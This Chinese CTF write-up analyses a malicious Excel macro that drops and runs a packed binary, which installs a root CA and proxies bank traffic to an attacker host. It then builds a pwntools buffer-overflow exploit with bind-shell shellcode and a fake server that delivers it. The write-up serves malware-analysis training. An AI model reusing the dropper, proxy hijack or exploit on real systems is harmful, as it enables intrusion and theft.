【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

逆向病毒分析 3年前 (2022) admin
680 0 0

【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

这是 Insomni’hack 2018 vba 系列题目的第三题,而且 ctftime 上也没有 writeup,所以我就试着解了一下,结果服务器好像关了导致没办法继续做下去,所以只能顺着官方的文件做题了…

【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack
逆向分析
【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

题目给了一个压缩包,密码是 “infected” (好像老外分享病毒的时候都在使用这个密码),解压得到一个 xls 表格,名字是 “VBA03 – Bitcoin value prediction 2.xls”,一解压出来火绒就报毒了,说是宏病毒,那就拿 oletools 工具包分析下。使用 olevba 分析如下,看来这个 “Sheet1.cls” 问题很大。

PS vba03> olevba -a '.VBA03 - Bitcoin value prediction 2.xls'
olevba 0.54.2 on Python 3.6.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .VBA03 - Bitcoin value prediction 2.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
+----------+-------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+-------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|AutoExec |Workbook_Open|Runs when the Excel Workbook is opened |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Open |May open a file |
|Suspicious|Put |May write to a file (if combined with Open) |
|Suspicious|Binary |May read or write a binary file (if combined |
| | |with Open) |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbHide |May run an executable file or a system |
| | |command |
|Suspicious|Xor |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+-------------+---------------------------------------------+

继续使用 oletools ,使用命令olevba -c '.VBA03 - Bitcoin value prediction 2.xls'得到 “Sheet1” 的 vba 代码。

Sub Auto_Open()
Predict ("Sheet1")
End Sub
Sub Workbook_Open()
Predict ("Sheet1")
End Sub

Private Function Predict(ByVal z As String) As String

Dim zzzz As String
zzzz = "bot.txt"
Dim zzzzz As String
zzzzz = Environ("TEMP")
ChDrive (zzzzz)
Dim zzzzzz As Integer
ChDir (zzzzz)
zzzzzz = FreeFile()
Dim zzzzzzz As Integer
Dim zz As Integer
zz = 4
Open zzzz For Binary As zzzzzz
Dim zzz As Worksheet
On Error GoTo e
Set zzz = Worksheets(z)
zzzzzzz = 1
Do While zzz.Columns(zzzzzzz).Cells(zz, (5 / 3)).Value <> ""
Do While zzz.Columns(zzzzzzz).Cells(zz, (111 / 91)).Value <> ""
Put #zzzzzz, , CByte(zzz.Columns(zzzzzzz).Cells(zz, (6471 / 4911)).Value Xor (41 * 2 + 3))
zzzzzzz = zzzzzzz + (816917 / 679142)
Loop
zz = zz + Sqr(2)
zzzzzzz = 1
Loop
Close #zzzzzz
zzzzzzzz = Shell(zzzz, vbHide)
Exit Function
e:
MsgBox "Unable to predict the future"
Exit Function
End Function

分析上图的 vba 代码可以发现可疑代码zzzzz = Environ("TEMP"); ChDrive (zzzzz); ChDir (zzzzz)将目录切换到了%TEMP%目录下,zzzz = "bot.txt"; Open zzzz For Binary As zzzzzz则是在%TEMP%目录下新建了名字为bot.txt的可疑文件,最好使用Shell()函数执行该文件。

我们在虚拟机下装了个精简版本 office 并且使用 procmon 盯着 EXCEL.exe 的文件操作,发现 EXCEL.exe 在 “C:Users{用户名}AppDataLocalTemp” 下创建并写入了 “bot.txt” 文件。我们将此文件复制到主机上分析,发现该程序加了魔改过的 UPX 壳,使用 ESP 定律脱壳后查看相应 strings 找到位于 0x00F91050 (有ASLR)的关键函数。可以看到程序先检查了程序是否以管理员权限运行,然后再安装了一个 ROOT CA 证书来监视 https 连接,最后以 “fxp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac” 这个文件设置了 http 代理。

一分钟上手的 ESP 定律:1. 先单步找到最近的 PUSHAD。2. 执行完该 PUSHAD后对 ESP 所指内存下访问断点。3. 继续执行(gdb: continue, x64dbg: F9)。4. 断点被触发,查找当前 EIP 附近的是否有跳转到较远位置的 jmp,如果有的话,跳转位置就为 OEP。

_DWORD *MainFunc()
{
int v0; // esi
HANDLE v1; // eax
HCERTSTORE v2; // eax
_DWORD *result; // eax
int Buffer; // [esp+4h] [ebp-24h]
int v5; // [esp+8h] [ebp-20h]
int v6; // [esp+Ch] [ebp-1Ch]
_DWORD *v7; // [esp+14h] [ebp-14h]
HANDLE TokenHandle; // [esp+18h] [ebp-10h]
int TokenInformation; // [esp+1Ch] [ebp-Ch]
DWORD ReturnLength; // [esp+20h] [ebp-8h]

v0 = 0;
TokenHandle = 0;
v1 = GetCurrentProcess();
if ( OpenProcessToken(v1, 8u, &TokenHandle) )
{
ReturnLength = 4;
if ( GetTokenInformation(TokenHandle, (TOKEN_INFORMATION_CLASS)20, &TokenInformation, 4u, &ReturnLength) )
v0 = TokenInformation; // check Administrator
}
if ( TokenHandle )
CloseHandle(TokenHandle);
if ( v0 )
{
v2 = CertOpenStore((LPCSTR)0xA, 0, 0, 0x20000u, L"ROOT");
if ( !v2 )
sub_F91000((unsigned int)"Error 1");
if ( !CertAddSerializedElementToStore(v2, " ", 0x411u, 3u, 0, 2u, 0, 0) )// install root ca
sub_F91000((unsigned int)"Error 2");
}
Buffer = 20;
v5 = 0;
v6 = 2;
result = sub_F911E6(0x18u);
v7 = result;
if ( result )
{
*result = 1;
v7[1] = 4;
v7[3] = 4;
v7[4] = "ftp://dr-evil:[email protected]/autoconf.pac";
if ( !InternetSetOptionA(0, 0x4Bu, &Buffer, 0x14u) )// set http proxy
sub_F91000((unsigned int)"Error 3");
result = (_DWORD *)1;
}
return result;
}

这时候因为服务器炸了就没办法继续分析下去了…所以求助官方 WP 找到了autoconf.pac,经过https://beautifier.io/美化后代码如下。可以看出这个规则是在匹配带有bank字符串的网址,如果带有bank,就使用代理监听,以窃取机密。

突然想起来国内银行的网上银行一般使用自己的英文名字缩写,不带 bank 字符串…

function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
if (shExpMatch(_0x8d97x2, '*bank*')) {
return 'PROXY dr-evil.insomni.hack:6666'
}
}

【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack
一转攻势
【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

可以看到程序暴露了 “dr-evil.insomni.hack:6666” 这个代理服务器,和 “fxp://dr-evil:Mwahahaha_666!(at)dr-evil.insomni.hack” 这个文件服务器。

题目的本意叫我们黑掉这个服务器拿到 flag,但是服务器关了怎么黑(我宁愿关站也不做等保测评.html)。所以只能顺着官方给出的文件https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack/Mitmdump,可以看到 “cookie_logger.c” 和 “mitmdump_script.py” 文件。”mitmdump_script.py” 是一个代理,当发现回复中带有 “Set-Cookie” 字段时候调用 “cookie_logger” 记录下 cookie。下面是 “cookie_logger” 源代码。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

/*
* Mwahahaha!
*
* This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
*
* Example usage:
* ./cookie_logger "www.npb-bank.ch" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
*
* [X] TODO_1: i tested it and it logs my own cookies! redact them
* [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
* [ ] TODO_3: make it gooder (curently its only working with < 512 chars
*/


// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
char redacted[512];
if(strstr(to_redact,"dr-evil"))
strcpy(redacted,"[REDACTED]");
else {
strcpy(redacted,to_redact);
}
strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
return buf;
}

// Main
int main(int argc, char **argv)
{
char cookie[512];
char host[512];

//build the csv with a timestamp
printf(""%ld","%s","%s"n",time(NULL),redact(host,argv[1]),redact(cookie,argv[2]));
}

一眼就能看到这两个strcpy()有问题…还有这个注释 “[ ] TODO_3: make it gooder (curently its only working with < 512 chars”更是明确了问题。接下来就是下载文件进行分析了。可以看到保护全部没开。那就好办了。

[*] '/vb03/cookie_logger'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

注意!我拿着官方给的”cookie_logger”二进制文件试图构造利用链,但是发现带 0 字符的字符串是不能作为程序的参数传入的,也就是说如果源程序是 64 位的话,地址是传不进去的,那就无法构造利用链…然后我看了看官方 WP 里的地址长度,是 4 字节长…可能是官方放错文件了吧。

所以我就用gcc -m32 cookie_logger.c -o cookie_new -O0 -fno-stack-protector -z execstack -no-pie再编译了一个 “cookie_logger”。

官方 WP 用一组命令来实现定位溢出点。

$ ./cookie_logger "www.example.com" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524

我比较土,用 pwntools cyclicgdb 来定位溢出点,不过原理是一样的,查看 ret 的地址,再配合 pwntoolscyclic_find 函数即可确定溢出位置。

$ python -c "from pwn import *; print(cyclic(600, n=4))"
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf
$ gdb cookie_new
pwndbg> set args 2 aaaa...
pwndbg> r
Program received signal SIGSEGV, Segmentation fault.
0xf7e64900 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────[ REGISTERS ]────────
EAX 0x66616168 ('haaf')
EBX 0x200
ECX 0x0
EDX 0x0
EDI 0x66616168 ('haaf')
ESI 0xffffc990 ◂— 0x61616161 ('aaaa')
EBP 0xffffcb98 ◂— 'faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
ESP 0xffffc970 —▸ 0xf7fae000 ◂— insb byte ptr es:[edi], dx /* 0x1d9d6c */
EIP 0xf7e64900 ◂— movdqu xmmword ptr [edi], xmm1
─────────[ DISASM ]─────────
► 0xf7e64900 movdqu xmmword ptr [edi], xmm1
0xf7e64904 pmovmskb edx, xmm0
0xf7e64908 cmp ebx, 0x21
0xf7e6490b jbe 0xf7e64b20

0xf7e64b20 add edi, 0x10
0xf7e64b23 add esi, 0x10
0xf7e64b26 sub ebx, 0x10
0xf7e64b29 test edx, edx
0xf7e64b2b jne 0xf7e64a9b
─────────[ STACK ]──────────
00:0000│ esp 0xffffc970 —▸ 0xf7fae000 ◂— insb byte ptr es:[edi], dx /* 0x1d9d6c */
01:0004│ 0xffffc974 —▸ 0xffffcfe0 ◂— 0x3
02:0008│ 0xffffc978 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— add dword ptr [eax], eax
03:000c│ 0xffffc97c —▸ 0x804921b (redact+121) ◂— add esp, 0x10
04:0010│ 0xffffc980 ◂— 0x66616168 ('haaf')
Program received signal SIGSEGV (fault address 0x66616168)
$ python -c "from pwn import *; print(cyclic_find(0x66616168, n=4))"
528

然后就是看看 ROPgadget 来构造利用链了,由于保护全关,所以使用 shellcode 是最简单的,于是我们用 ROPgadget 找到了 “call eax” 这个 gadget。

$ ROPgadget --binary cookie_new | grep 'call'
0x08049019 : call eax

但是我们可控输入的位置是未知的,而且好像还没相关函数进行泄露,所以我们再用 ROPgadget 看看 eax 是否可控。看到两个 gadgets。

$ ROPgadget --binary cookie_new | grep 'mov eax'
0x0804921c : les edx, ptr [eax] ; mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret
0x0804921e : mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

我们用 IDA 看到 0x0804921e 附近是什么,可以看到 IDA 贴心的告诉我们 0x0804921e 这个 gadget 是将redact的第一个参数作为返回值赋值给了 eax。由于溢出点在redaxt()函数,eax 所指向的内容可控。所以我们将 shellcode 作为redact第一个参数中即可让 shellcode 执行。

.text:080491A2 arg_0 = dword ptr 8
.text:08049204 sub esp, 4
.text:08049207 push 200h ; n
.text:0804920C lea eax, [ebp+dest]
.text:08049212 push eax ; src
.text:08049213 push [ebp+arg_0] ; dest
.text:08049216 call _strncpy
.text:0804921B add esp, 10h
.text:0804921E mov eax, [ebp+arg_0]
.text:08049221 mov ebx, [ebp+var_4]
.text:08049224 leave
.text:08049225 retn

结合上面的思路,使用生成正向 shell 的 shellcode 构造如下 payload。在本机上用nc 127.0.0.1 12345连接成功。

from pwn import *

context.log_level = 'debug'

callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode = ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)
log.info('len of payload: {}'.format(len(payload)))
argvs = ['./cookie_new', 'http://www.bank.com', payload]
r = process(argv=argvs)
#gdb.attach(r, gdbscript=script)
r.interactive()

接下来就是搭建一个假服务器,服务器的返回中带有恶意的”Set-Cookie”字段,最后使用恶意代理访问来 get 恶意代理的 shell。假的服务器文件如下,使用python {假的服务器文件名} | nc -nlvp 80搭建一个简单的服务器,然后使用dr-evil.insomni.hack:6666这个代理访问假服务器,就能拿到一个正向 shell。

这里图方便使用了正向 shell,但是正向 shell 一般会被防火墙拦截,所以使用反向 shell 是最合适的。

from pwn import *

context.log_level = 'debug'

callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode = ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)

print("HTTP/1.1 200 OK")
print("Date: Mon, 27 Jul 2009 12:28:53 GMT")
print("Server: Apache/2.2.14 (Win32)")
print("Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT")
print("Content-Length: 52")
print("Content-Type: text/html")
print("Connection: Closed")
print("Set-Cookie: " + payload)
print("")
print("<html>")
print("<body>")
print("<h1>Hello, World!</h1>")
print("</body>")
print("</html>")
print("")
print("")

【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack
总结 
【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

这个 ctf 题除了最后黑吃黑部分之外,其他都贴近日常的病毒分析,包括 vba 宏分析,脱壳,分析恶意代码逻辑,信息收集等。所以写文记录。

refs

https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack

https://blog.scrt.ch/2018/05/04/insomnihack-2018-vba03-strikeback-writeup/

【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

- 结尾 -
精彩推荐
【技术分享】MIPS缓冲区溢出学习实践
【技术分享】【CTF攻略】第三届XCTF——郑州站ZCTF第一名战队Writeup
【技术分享】FRIDA-API使用篇:rpc、Process、Module、Memory使用方法及示例
【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

版权声明:admin 发表于 2022年5月25日 上午10:26。
转载请注明:【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...